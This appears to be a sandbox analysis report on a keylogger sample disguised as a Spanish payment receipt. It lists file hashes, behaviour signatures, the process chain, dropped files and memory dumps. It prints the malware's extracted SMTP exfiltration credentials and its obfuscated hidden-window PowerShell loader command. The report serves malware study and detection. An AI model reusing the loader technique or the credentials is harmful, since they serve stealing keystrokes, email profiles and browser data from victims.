Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-10-2024 20:09

General

  • Target

    justificante de pago.exe

  • Size

    990KB

  • MD5

    d3c00b7eda8c538a2938610398e69a74

  • SHA1

    cd93e03dc64c2064d0aa586e00a00f9c99ea36bc

  • SHA256

    2e2dd6f6dd471723ad206f6b8f154f3a84aba592e2838942b5e35b4378522ef4

  • SHA512

    719c03d1ded02334f1f74812f8e4a193f9028291eb190d4e241b4b34b055c6c7deef31bf33bea047a551ee14df35443a6cefe294907ac87b0918dade5f470837

  • SSDEEP

    24576:J+63+OSOWAnNN591nNr8xAGuwIm/yWiopvC9wF:J+tOSqnNN591S/RaWi6MwF

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.ionos.es
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    #BOYS_2019_ToNa#

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 9 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\justificante de pago.exe
    "C:\Users\Admin\AppData\Local\Temp\justificante de pago.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Minimals=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Fyldiges.Tid';$Aesthete=$Minimals.SubString(54366,3);.$Aesthete($Minimals)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1444

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_25xwauur.sjt.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\fona\Kvit\Fyldiges.Tid

    Filesize

    53KB

    MD5

    dbe1380eb686fc84a3cd87ee84077382

    SHA1

    66a6b15521a3affc3d9b893554475078f41224a0

    SHA256

    b05d49191a62ec38497b0ae6378c984ac2013d6fec29b62d94299d88f5d5d279

    SHA512

    84987e2a263284df3d365caed6b549c93f23ad0982ffa7b8acfd21562c68ad1a2b198a47b2877e6ef4c4d679fe710cefa2df0de37a303a64838ac1b796d9335c

  • C:\Users\Admin\AppData\Local\fona\Kvit\Udvalgsbehandlings244.Lag

    Filesize

    334KB

    MD5

    ba8f105ada9831d2782a89d76e34a1ae

    SHA1

    44bb94c57a6d189426852065ccca1079256f5f02

    SHA256

    42d2a79cf34ec61620daeb158a3014aee8c971a9c63c5ec05bf7e435e2c34669

    SHA512

    233b866ab1bf0977dbb13b13ae42052ac0a4f77c2485dc85de6312598aa70453b944017ac409c3558eccb276ff683ad8bd12aad01a7f90a99fb84c0681bca165

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\depoh.lnk

    Filesize

    922B

    MD5

    fceea86194c14beec442f9b0e35e6db6

    SHA1

    5609ca9dbaf69a08d3056c48840826575e68c3ae

    SHA256

    1ae6a97fa8c8832286de2a6ab9eec7ad821d555af4b6ae64cc2499d96eefb3e4

    SHA512

    7a41e1ee76e469a6adde5c2626f3fc8e4f7b5ea6055d33ebd4e2bd197f24fdf79081ed51fdc21907b56cdfc855d7913405158d83950a545ece791c5d8bc1535b

  • memory/536-139-0x000000007434E000-0x000000007434F000-memory.dmp

    Filesize

    4KB

  • memory/536-140-0x0000000005170000-0x00000000051A6000-memory.dmp

    Filesize

    216KB

  • memory/536-141-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-142-0x0000000005850000-0x0000000005E78000-memory.dmp

    Filesize

    6.2MB

  • memory/536-143-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-144-0x0000000005E80000-0x0000000005EA2000-memory.dmp

    Filesize

    136KB

  • memory/536-145-0x0000000006030000-0x0000000006096000-memory.dmp

    Filesize

    408KB

  • memory/536-148-0x00000000060A0000-0x0000000006106000-memory.dmp

    Filesize

    408KB

  • memory/536-156-0x0000000006290000-0x00000000065E4000-memory.dmp

    Filesize

    3.3MB

  • memory/536-157-0x0000000006770000-0x000000000678E000-memory.dmp

    Filesize

    120KB

  • memory/536-158-0x0000000006820000-0x000000000686C000-memory.dmp

    Filesize

    304KB

  • memory/536-161-0x0000000006CF0000-0x0000000006D12000-memory.dmp

    Filesize

    136KB

  • memory/536-162-0x0000000007DD0000-0x0000000008374000-memory.dmp

    Filesize

    5.6MB

  • memory/536-160-0x0000000006C70000-0x0000000006C8A000-memory.dmp

    Filesize

    104KB

  • memory/536-159-0x0000000007740000-0x00000000077D6000-memory.dmp

    Filesize

    600KB

  • memory/536-164-0x0000000008A00000-0x000000000907A000-memory.dmp

    Filesize

    6.5MB

  • memory/536-167-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-168-0x0000000070930000-0x0000000070C84000-memory.dmp

    Filesize

    3.3MB

  • memory/536-179-0x0000000007C30000-0x0000000007CD3000-memory.dmp

    Filesize

    652KB

  • memory/536-178-0x0000000007C00000-0x0000000007C1E000-memory.dmp

    Filesize

    120KB

  • memory/536-180-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-181-0x0000000007D30000-0x0000000007D3A000-memory.dmp

    Filesize

    40KB

  • memory/536-183-0x0000000007D70000-0x0000000007D9A000-memory.dmp

    Filesize

    168KB

  • memory/536-184-0x0000000007DA0000-0x0000000007DC4000-memory.dmp

    Filesize

    144KB

  • memory/536-182-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-166-0x00000000707C0000-0x000000007080C000-memory.dmp

    Filesize

    304KB

  • memory/536-165-0x0000000007BC0000-0x0000000007BF2000-memory.dmp

    Filesize

    200KB

  • memory/536-185-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-187-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-189-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-190-0x000000007434E000-0x000000007434F000-memory.dmp

    Filesize

    4KB

  • memory/536-191-0x0000000009080000-0x000000000DC1B000-memory.dmp

    Filesize

    75.6MB

  • memory/536-192-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-193-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-194-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-195-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/536-196-0x0000000074340000-0x0000000074AF0000-memory.dmp

    Filesize

    7.7MB

  • memory/1444-209-0x0000000000EC0000-0x0000000002114000-memory.dmp

    Filesize

    18.3MB

  • memory/1444-210-0x0000000000EC0000-0x0000000002114000-memory.dmp

    Filesize

    18.3MB

  • memory/1444-212-0x0000000024290000-0x000000002432C000-memory.dmp

    Filesize

    624KB

  • memory/1444-211-0x0000000000EC0000-0x0000000000F0A000-memory.dmp

    Filesize

    296KB

  • memory/1444-213-0x0000000024EA0000-0x0000000025062000-memory.dmp

    Filesize

    1.8MB

  • memory/1444-214-0x0000000024760000-0x00000000247B0000-memory.dmp

    Filesize

    320KB

  • memory/1444-215-0x00000000255A0000-0x0000000025ACC000-memory.dmp

    Filesize

    5.2MB

  • memory/1444-217-0x0000000025070000-0x0000000025102000-memory.dmp

    Filesize

    584KB

  • memory/1444-218-0x00000000248A0000-0x00000000248AA000-memory.dmp

    Filesize

    40KB